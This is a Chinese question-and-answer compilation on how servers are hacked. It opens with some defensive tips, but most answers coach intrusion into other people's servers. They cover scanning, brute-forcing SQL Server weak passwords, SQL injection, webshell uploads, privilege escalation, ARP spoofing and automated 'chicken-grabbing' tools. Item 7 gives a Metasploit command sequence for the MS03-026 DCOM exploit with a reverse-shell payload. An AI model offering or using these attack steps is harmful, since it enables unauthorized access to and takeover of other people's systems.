1、服务器被攻击,黑客总是利用工具尝试登录我的windows系统和SQL数据库。 求高手指点,怎样防止这种攻击?
一般的WINDOWS没做安全设置时会被扫描和尝试入侵,需要做如下的安全设置版。
1、修改WINDOWS的远程端口号和权FTP端口号。
2、打开WINDOWS的安全防火墙,只要开80、远程端口和FTP端口号这三个,其他的端口都关了。
3、修改帐号名和密码,最好增加可以用的字符如“_”。
4、安装360的防火墙(主要是因为它免费)。
5、定期看日志如有异常及时找原因,修复安全隐患。
2、黑客是怎么入侵服务器的?
你服务器老是被入侵,证明你服务器的漏洞一直存在,所以就算你更改了密码,还是会很快被入侵的。特别是黑客在你服务器里种下后门后
首先你得把服务器系统安全补丁打好。并全盘杀毒
然后再针对数据库服务器等应用服务器软件做好安全策略。
并对系统做好安全策略。修改好文件权限。
针对网站程序做好更新,及目录权限。
然后装一款好点的防火墙。
基本就这样,说起来很简单,做起来还是有很多步骤的。
3、入侵别人服务器需要些什么工具
1.用google,baidu,whois等收集情报。
2.用nmap,SuperScan等扫描。
3.系统攻击。这个具体问题具体分析,没什么万用的工具。
4.脚本攻击。需要的工具就是代码了(如PHP,javascript)。
5.物理入侵。混入公司内部,找出管理员,取得机房钥匙或服务器密码。这个需要工具是社会工程学。
6.运气。
Good Luck!
4、如何入侵一个服务器
什么学校,有这样好的比赛,,,
如果是我,先扫描下主机漏洞。弱口令,开启的端口服务什么的,这个可以用X-SCAN 或流光,当然其他很多也可以,个人习惯问题,。然后针对漏洞入侵。
也可以间接的从服务器的程序入手,加入是dvbbs,应该会有很多漏洞,现在不清楚了,。看什么版本,。,先检查注入漏洞。上传漏洞,后台密码暴力破解,等等。,不管那个漏洞。,知道后直接上传网马,先拿shell,然后提权,获取服务器管理权限。这样就可以直接从程序中的网马控制服务器的任何一个文件。更别说建立一个文档了,。具体看什么服务器,什么程序。,什么漏洞,,,,黑客手段是千变万化的。。。
5、我想学服务器入侵 开始基础学什么·?
服务器的入侵 主要是要懂的数据库然后要对电脑的熟悉 入侵还是要借助回于工具的答 1433的端口的 用字典去猜解它的 弱口令 然后进行入侵 入侵需要耐心 不能半途而废 不然你什么都得不到,反而会浪费很多时间
6、怎么用cmd入侵别人服务器
yun
大哥你好牛啊
CMD仅仅是WINDOWS进入DOS的一个命令罢了
你以为自己真的成HAKE啊
这个需要很多黑客软件和相应的程序
做一个初级的黑客 你自己至少要精通一门计算机语言的!
7、您好,我想请教一下如何入侵windows服务器呢???
简单的nmap攻击(默认服务器开启135端口)先用上述nmap扫描目标主机信息,然后进入命令行
msfconsole
search ms03-026-dcom
use exploit/windows/dcerpc/ms03_026_dcom/
set PAYLOAD windows/meterpreter/reverse_tcp(选择工具)
set RHOST 192.168.1.10 //目标主机
set LHOST 192.168.1.11 //操作主机
exploit 执行命令
shell 得到目标shell,基本可以为所欲为了
8、服务器入侵 要用到哪些软件啊??
关于拿服务器(基本思路:从网站“渗透”到服务器)
一般步骤:
找对应网站注射_+点(用各种检测方式 工具+手工)
拿到账号和MD5加密过的密码
破解MD5得到密码(一般16位和32位)
找到网站后台并登录
想办法上传webshell(办法多了)
拿到webshell就提升权限(提权)拿服务器(办法也很多)
success!
本人学黑约4年,所说只要你知识能力足够,绝对能拿下!
建议你学学
网站*渗+》透
脚本~攻|+击
SQL-注¥入
成为高手之路是十分漫长的。
9、黑客是怎么入侵服务器?
1、 黑客入侵攻击的目的
(1) 认为好玩,有趣。比如有些学生。
(2) 获取对于文件的信息。
(3) 获取超级用户权限。
(4) 修改信息。
(5) 拒绝服务。
(6) 间谍人员。
(7) 网络恐怖主义。
(8) 窃取信息或者资产。
2、 实施攻击的人员
(1) 受解雇的人员
(2) 专门的信息人员
(3) 间谍人员
3、 攻击的方法和手段
(1) 寻找目标,获取信息。有明确的攻击目标。寻找有漏洞的机器,发现之后进行攻击。即一种是先有目标,另外一种是先有工具。一般来说,如“蠕虫事件”,更多地属于后一种。病毒和黑客的融合,使攻击自动化是目前比较流行的趋势。很多问题,过去的手工病毒,要繁殖生存,通过传播删除数据。黑客在发现“后门”后,利用这些病毒手段进行攻击。扫描是常用的寻找漏洞的手段。那么,哪些服务必须提供,哪些服务不需要提供,例如用户所不需要的某些功能服务作为选项在安装时会存在在系统中,这样就可能有漏洞存在在系统中。因此,如果接受的服务越多,就可能存在的问题越多。因此,不透明、经常变化、不定期升级、动态口令,使系统在变化中变得相对安全。目前,很多情况下,用户对自己的系统中的漏洞并不了解,某些先天不合理的缺陷存在在系统中,如果有人攻击这个弱点,就成为问题。所以,第一,要首先了解自己的系统。版本信息也是重要的,不同的版本,有不同的弱点,就可能成为攻击对象。系统的关键文件也是重要的,可以从中提取用户名和口令。
(2) 获取系统敏感文件的方法。匿名FTP、TFTP等。采用TFTP在很多蠕虫、强力攻击弱口令等手段中进行使用。
(3) 获取初始访问权限。如采用监听手段窃取口令。匿名FTP,利用主机间的缺省口令或信任关系(口令)等。利用发邮件,告诉你附件是个升级包,但有可能是一个病毒。利用技术防范上的漏洞。
(4) 获取超级用户口令。如SNIFER、缓冲区溢出等手段获取特权。目前的开发安全理论已经引起重视。软件工程与软件安全已经成为一个并行的方式。软件越庞大,漏洞越多。目前国内有人发现MICROSOFT有6个漏洞,据说这次发现之后直接就在网上公布了,但微软还没有找到相应的解决办法。所以给用户带来很大的风险。
(5) 消除痕迹。破坏系统后使用。
(6) 惯用手法。TFTP、拒绝服务(分布式拒绝服务)、SNIFFER嗅探器、缓冲区溢出、SYN同步风暴(发出大量的连接请求,但并不管连接结果,大量占用用户资源,出现死机。)目前有一种技术,使系统的资源只能用到60%等。采用路由器设置提高网络质量。但是对于公共系统,路由配置拒绝服务比较难。对于路由器的攻击,窃取权限修改路由表,或者造成资源DOWN机。因此,要经常检查路由器的状态。采取措施之前,应该先记录原始状态参数,不要轻易地重启技术。
--------------------------
如何预防黑客
(1) 升级系统,打补丁
(2) 防火墙
(3) 使用入侵扫描工具
(4) 不要轻易安装不明软件
(5) 经常检查日志
10、如何入侵指定ip的服务器
SHELL,网上这样的全自动抓鸡工具很多,大家可以上网搜索,不要怕有病毒,最好是找好点的黑客网站,比如这个,
1.这里推荐大家一款全能软件:流光,查找漏洞、端口,绝对有效果;有的PC是局域网里的,那就可以
2通过入侵局域网里的其他电脑,然后ARP欺骗,也能达到入侵的目的,局域网里的情况很多,可能有的电脑还对此电脑开
放共享等等,情况很多,这里就不多说了。
3再说说入侵服务器IP,服务器都是挂网站的,很多网站都是挂在一个服务器上的,可以用旁注工具进行查找,找到网站的漏洞,像有的网站在主页上就有网站后台的选项,网站后台的账号和密码都是默认的(这里提醒一下那些网管,不要了吧,呵呵。还有的网站直接就有注入点,那样入侵就很简单了,中国的网站防护真的是……有的服务器好点的,网站只
挂了一个,还可能没漏洞,服务器本身也没有端口弱口令漏洞,那就只能入侵局域网里的网站,再ARP了,和上面入侵PC
4局域网的方法差不多。
其实大家看完后就知道了,入侵指定IP其实就是对你抓鸡技术的综合运用的考验,一定要认真对到每次入侵的过程,
多总结经验,文章只是参考,转化成自己的东西才是关键。